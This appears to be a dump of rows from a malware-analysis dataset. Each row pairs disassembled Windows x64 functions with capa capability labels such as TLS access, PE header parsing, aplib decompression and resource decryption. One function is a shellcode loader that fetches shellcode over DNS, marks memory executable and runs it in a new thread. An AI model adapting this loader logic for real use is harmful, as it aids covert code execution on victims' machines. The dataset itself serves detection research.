joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001bf50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1400a7088]
xor rax, rsp
mov qword [rbp - 8], rax
mov edi, ecx
mov rbx, r8
xor ecx, ecx
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movzx edx, di
mov r8, rsi
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x14001c07c
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rsi
mov rcx, r14
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test rdi, rdi
je 0x14001c07c
test eax, eax
je 0x14001c07c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x14001c07c
mov rax, qword [rbx]
mov qword [rbx + 8], rax
mov rax, qword [rbx + 0x10]
sub rax, qword [rbx]
mov dword [rbp - 0x28], 0x9baf4417
mov dword [rbp - 0x24], 0x74520ad9
mov dword [rbp - 0x20], 0x3d4e4c04
mov dword [rbp - 0x1c], 0x70aa4258
mov dword [rbp - 0x18], 0x6cc72022
mov dword [rbp - 0x14], 0x74d35ce
mov dword [rbp - 0x10], 0xec303eef
mov dword [rbp - 0xc], 0xeff9f3d9
cmp rsi, rax
jbe 0x14001c032
mov edx, esi
mov rcx, rbx
call fcn.14001c0a0
xor edi, edi
test rsi, rsi
je 0x14001c078
nop dword [rax]
mov rdx, qword [rbx + 8]
mov rax, rdi
and eax, 0x1f
movzx ecx, byte [rbp + rax - 0x28]
xor cl, byte [rdi + r14]
mov byte [rbp - 0x30], cl
cmp qword [rbx + 0x10], rdx
je 0x14001c064
mov byte [rdx], cl
inc qword [rbx + 8]
jmp 0x14001c070
lea r8, [rbp - 0x30]
mov rcx, rbx
call fcn.14001c1e0
inc rdi
cmp rdi, rsi
jb 0x14001c040
mov al, 1
jmp 0x14001c07e
xor al, al
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140036a00
add rsp, 0x50
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14001d620
Capabilities:
Get common file path
Get startup folder

Disassembly:
push rdi
sub rsp, 0x270
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x288], rbx
mov rax, qword [0x1400a7088]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
xor edi, edi
mov dword [rsp + 0x30], edi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 7
mov word [rbx], di
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], di
jne 0x14001d690
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.1400071d0
mov dword [rsp + 0x30], 1
mov r8d, SafeArrayDestroy
lea rdx, [0x140092a00]
mov rcx, rbx
call fcn.140007740
mov rax, rbx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140036a00
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rdi
ret
Function at 0x140032b40
Capabilities:
Resume thread

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x90
mov qword [r11 - 0x58], 0xfffffffffffffffe
mov qword [r11 + 0x20], rbx
mov rax, qword [0x1400a7088]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor edi, edi
mov qword [r11 - 0x68], rdi
mov dword [rsp + 0x28], 4
mov qword [r11 - 0x78], r8
mov r9, rdx
xor r8d, r8d
xor edx, edx
mov rcx, qword [rcx + 0x80]
call qword [0x1400ac2b8]
mov rbx, rax
test rax, rax
jne 0x140032ccc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.14001f730
nop
lea r8, [0x1400ac6d0]
cmp qword [0x1400ac6e8], 8
cmovae r8, qword [0x1400ac6d0]
mov r9, qword [0x1400ac6e0]
mov rcx, rax
call fcn.1400103e0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea r8, [0x1400ac4b0]
cmp qword [0x1400ac4c8], 8
cmovae r8, qword [0x1400ac4b0]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rdx, qword [rsp + 0x48]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140032c74
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032c6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032d15
call fcn.140036a24
movdqa xmm0, xmmword [0x140093bc0]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], di
mov rdx, qword [rsp + 0x80]
cmp rdx, 8
jb 0x140032cc8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032cc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032d0f
call fcn.140036a24
xor al, al
jmp 0x140032cee
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140036a00
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rdi
ret
call fcn.140057d94
nop
call fcn.140057d94
nop
int3
Function at 0x140032d20
Capabilities:
Resume thread

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x90
mov qword [r11 - 0x58], 0xfffffffffffffffe
mov qword [r11 + 0x20], rbx
mov rax, qword [0x1400a7088]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor edi, edi
mov qword [r11 - 0x68], rdi
mov dword [rsp + 0x28], 4
mov qword [r11 - 0x78], r8
mov r9, rdx
xor r8d, r8d
xor edx, edx
mov rcx, qword [rcx + 0x80]
call qword [0x1400ac2b8]
mov rbx, rax
test rax, rax
jne 0x140032eac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.14001f730
nop
lea r8, [0x1400ac6d0]
cmp qword [0x1400ac6e8], 8
cmovae r8, qword [0x1400ac6d0]
mov r9, qword [0x1400ac6e0]
mov rcx, rax
call fcn.1400103e0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea r8, [0x1400ac4b0]
cmp qword [0x1400ac4c8], 8
cmovae r8, qword [0x1400ac4b0]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rdx, qword [rsp + 0x48]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140032e54
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032e4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032ee7
call fcn.140036a24
movdqa xmm0, xmmword [0x140093bc0]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], di
mov rdx, qword [rsp + 0x80]
cmp rdx, 8
jb 0x140032ea8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032ea3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032ee1
call fcn.140036a24
xor al, al
jmp 0x140032ec0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140036a00
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rdi
ret
call fcn.140057d94
nop
call fcn.140057d94
nop
int3
Function at 0x14003a168
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14003a17b
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.14003a788
lea rdx, [0x1400a5098]
lea rcx, [rsp + 0x20]
call fcn.140054ba8
int3

Function at 0x140044a04
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x1400ab1c0]
xor edx, edx
jmp fcn.14003a168

Function at 0x14004539c
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x1400ab1c0]
jmp fcn.14003a168

Function at 0x140050fec
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x1400510a8]
mov r9, qword [r9 + 8]
jmp fcn.1400423bc

Function at 0x140051080
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x1400510b8]
mov r9, qword [r9 + 8]
jmp fcn.1400423bc

Function at 0x14005c09c
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14005bf2f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005bf2f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005bf2f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005bf2f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005bf2f
cmp dword [rcx + 0x84], 0xe
jbe 0x14005bf2f
cmp dword [rcx + 0xf8], 0
je 0x14005bf2f
mov ecx, ebx
call fcn.14005bfd0
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14005bdc0
cmp dword [rbp + 0x20], 0
je 0x14005bf7c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14005bf84
int3
xor r8d, r8d
xor edx, edx
jmp 0x14005bec8
Function at 0x140b86058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140b861df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140b86089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b8606f
add dl, dl
jne 0x140b86096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b860f6
xor eax, eax
add dl, dl
jne 0x140b860a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b861ad
add dl, dl
jne 0x140b860b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b860c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b860d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b860dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140b860ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140b8607e
mov eax, 1
add dl, dl
jne 0x140b86106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b86113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b860fb
sub eax, ebx
mov ebx, 1
jne 0x140b8614c
mov ecx, 1
add dl, dl
jne 0x140b8612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140b8613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b86123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b8607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140b86168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140b86175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b8615d
cmp eax, 0x7d00
jae 0x140b8619b
cmp eax, 0x500
jb 0x140b86196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b8607e
cmp eax, 0x7f
ja 0x140b8619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b8607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140b861d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140b8607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001380
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
lea rcx, str._i__Trying_to_receive_shellcode_using_DNS..._n
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rbp
call fcn.140001010
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x30]
call fcn.140001070
test eax, eax
jne 0x1400013e2
lea rcx, str.____Failed_to_fetch_shellcode_using_DNS_
call fcn.140001010
lea eax, [rbp - 1]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400015a0
add rsp, 0x50
pop rbp
ret
mov qword [rsp + 0x60], rbx
lea rcx, str.___Retrieved_shellcode__n
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rdi
call fcn.140001010
mov rdi, qword [rsp + 0x38]
mov rbx, rbp
mov rsi, qword [rsp + 0x30]
test rdi, rdi
je 0x140001439
nop
test bl, 0xf
jne 0x140001421
lea rcx, [0x14000345c]
call fcn.140001010
movzx edx, byte [rbx + rsi]
lea rcx, str._0.2X
call fcn.140001010
inc rbx
cmp rbx, rdi
jb 0x140001410
lea rcx, [0x140003468]
call fcn.140001010
lea rcx, str._i__Allocating_memory_pages..._n
call fcn.140001010
mov r9d, 4
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001484
lea rcx, str.____Failed_to_allocate_memory___n
call fcn.140001010
lea eax, [rbx - 1]
jmp 0x140001569
lea rcx, str.___Allocated_memory_pages___n
call fcn.140001010
mov rdx, rbx
lea rcx, str.____0x_p_n
call fcn.140001010
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
lea rcx, str._i__Making_memory_executeable..._n
call fcn.140001010
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], ebp
mov r8d, 0x40
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400014f8
lea rcx, str.Failed_to_make_memory_executable___n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001569
lea rcx, str.___Shellcode_can_now_be_executed__n
call fcn.140001010
lea rcx, str._i__Executing_shellcode..._n
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x28], rbp
mov r8, rbx
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140001541
lea rcx, str.____Failed_to_execute_shellcode___n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001569
lea rcx, str.___Successfully_executed_shellcode_
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov rsi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400015a0
add rsp, 0x50
pop rbp
ret
Function at 0x140001e74
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ebe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ebe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ebe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ebe
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ebe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ec0
xor al, al
add rsp, 0x28
ret

Function at 0x141ec9058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x141ec91df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141ec9089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141ec906f
add dl, dl
jne 0x141ec9096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141ec90f6
xor eax, eax
add dl, dl
jne 0x141ec90a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141ec91ad
add dl, dl
jne 0x141ec90b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141ec90c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141ec90d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141ec90dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141ec90ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141ec907e
mov eax, 1
add dl, dl
jne 0x141ec9106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141ec9113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141ec90fb
sub eax, ebx
mov ebx, 1
jne 0x141ec914c
mov ecx, 1
add dl, dl
jne 0x141ec912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141ec913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141ec9123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141ec907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141ec9168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141ec9175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141ec915d
cmp eax, 0x7d00
jae 0x141ec919b
cmp eax, 0x500
jb 0x141ec9196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141ec907e
cmp eax, 0x7f
ja 0x141ec919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141ec907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141ec91d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141ec907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140003444
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x1401bd6b0]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140004320
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test ecx, ecx
je 0x140004397
movsxd rdx, ecx
lea rcx, [0x14000427c]
call qword [sym.imp.USER32.DLL_EnumWindows]
mov rbx, qword [0x1401bfb50]
test rbx, rbx
je 0x14000440a
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x14000438d
cmp byte [rbx + 0x20], 0
je 0x14000438d
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rdx, [r9 - 2]
xor r8d, r8d
call qword [sym.imp.USER32.DLL_SetWindowPos]
mov rbx, rdi
test rdi, rdi
jne 0x140004353
jmp 0x14000440a
mov rbx, qword [0x1401bfb50]
test rbx, rbx
je 0x14000440a
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x140004402
cmp byte [rbx + 0x21], 0
je 0x1400043c6
mov rcx, qword [rbx + 0x18]
mov edx, 1
call qword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [rbx + 0x20], 0
je 0x1400043f2
mov rcx, qword [rbx + 0x18]
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
call qword [sym.imp.USER32.DLL_SetWindowPos]
lea rdx, [rbx + 0x10]
lea rcx, [0x1401bfb50]
call fcn.140014dbc
mov rbx, rdi
test rdi, rdi
jne 0x1400043a3
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x140004b40
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [0x1401bfb68], 0
jne 0x140004b65
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1401bfb68], 1
mov dword [0x1401bfb6c], eax
mov rcx, qword [0x1401bfa00]
xor edx, edx
mov r8d, 0x90
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x1401bfb6c]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor ebx, eax
mov ecx, ebx
add rsp, 0x20
pop rbx
jmp 0x140004d20
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp dword [0x1401bfb68], 0
mov ebx, ecx
jne 0x140004d44
call fcn.140004b40
mov ecx, dword [0x1401bfb6c]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, rax
test rax, rax
jne 0x140004d6c
call fcn.140004b40
mov ecx, dword [0x1401bfb6c]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, rax
lea rdx, [rdi + 8]
mov r8d, 0x11
nop word [rax + rax]
imul eax, ebx, 0x53a9b4fb
mov ecx, 1
mov ebx, 1
sub ecx, eax
lea rdx, [rdx + 4]
mov dword [rdx + 0x40], ecx
imul eax, ecx, 0x53a9b4fb
sub ebx, eax
mov dword [rdx - 4], ebx
dec r8
jne 0x140004d80
lea esi, [r8 + 0x1f]
mov dword [rdi], r8d
mov dword [rdi + 4], 0xa
lea ebp, [rsi - 0xf]
nop word [rax + rax]
movsxd r11, dword [rdi]
movsxd rbx, dword [rdi + 4]
mov r10d, dword [rdi + rbx*4 + 8]
mov r9d, dword [rdi + r11*4 + 8]
mov eax, dword [rdi + r11*4 + 0x4c]
ror r9d, 5
lea rcx, [rdi + r11*4]
lea r8, [rdi + r11*4]
ror eax, 0xd
add r9d, r10d
add eax, dword [rdi + rbx*4 + 0x4c]
dec r11d
mov dword [r8 + 0x4c], r9d
cmovs r11d, ebp
dec ebx
mov dword [rcx + 8], eax
cmovs ebx, ebp
mov dword [rdi], r11d
mov dword [rdi + 4], ebx
dec rsi
jne 0x140004dc0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140004d20
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [0x1401bfb68], 0
jne 0x140004b65
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1401bfb68], 1
mov dword [0x1401bfb6c], eax
mov rcx, qword [0x1401bfa00]
xor edx, edx
mov r8d, 0x90
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x1401bfb6c]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor ebx, eax
mov ecx, ebx
add rsp, 0x20
pop rbx
jmp 0x140004d20
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp dword [0x1401bfb68], 0
mov ebx, ecx
jne 0x140004d44
call fcn.140004b40
mov ecx, dword [0x1401bfb6c]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, rax
test rax, rax
jne 0x140004d6c
call fcn.140004b40
mov ecx, dword [0x1401bfb6c]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, rax
lea rdx, [rdi + 8]
mov r8d, 0x11
nop word [rax + rax]
imul eax, ebx, 0x53a9b4fb
mov ecx, 1
mov ebx, 1
sub ecx, eax
lea rdx, [rdx + 4]
mov dword [rdx + 0x40], ecx
imul eax, ecx, 0x53a9b4fb
sub ebx, eax
mov dword [rdx - 4], ebx
dec r8
jne 0x140004d80
lea esi, [r8 + 0x1f]
mov dword [rdi], r8d
mov dword [rdi + 4], 0xa
lea ebp, [rsi - 0xf]
nop word [rax + rax]
movsxd r11, dword [rdi]
movsxd rbx, dword [rdi + 4]
mov r10d, dword [rdi + rbx*4 + 8]
mov r9d, dword [rdi + r11*4 + 8]
mov eax, dword [rdi + r11*4 + 0x4c]
ror r9d, 5
lea rcx, [rdi + r11*4]
lea r8, [rdi + r11*4]
ror eax, 0xd
add r9d, r10d
add eax, dword [rdi + rbx*4 + 0x4c]
dec r11d
mov dword [r8 + 0x4c], r9d
cmovs r11d, ebp
dec ebx
mov dword [rcx + 8], eax
cmovs ebx, ebp
mov dword [rdi], r11d
mov dword [rdi + 4], ebx
dec rsi
jne 0x140004dc0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140004e20
Capabilities:
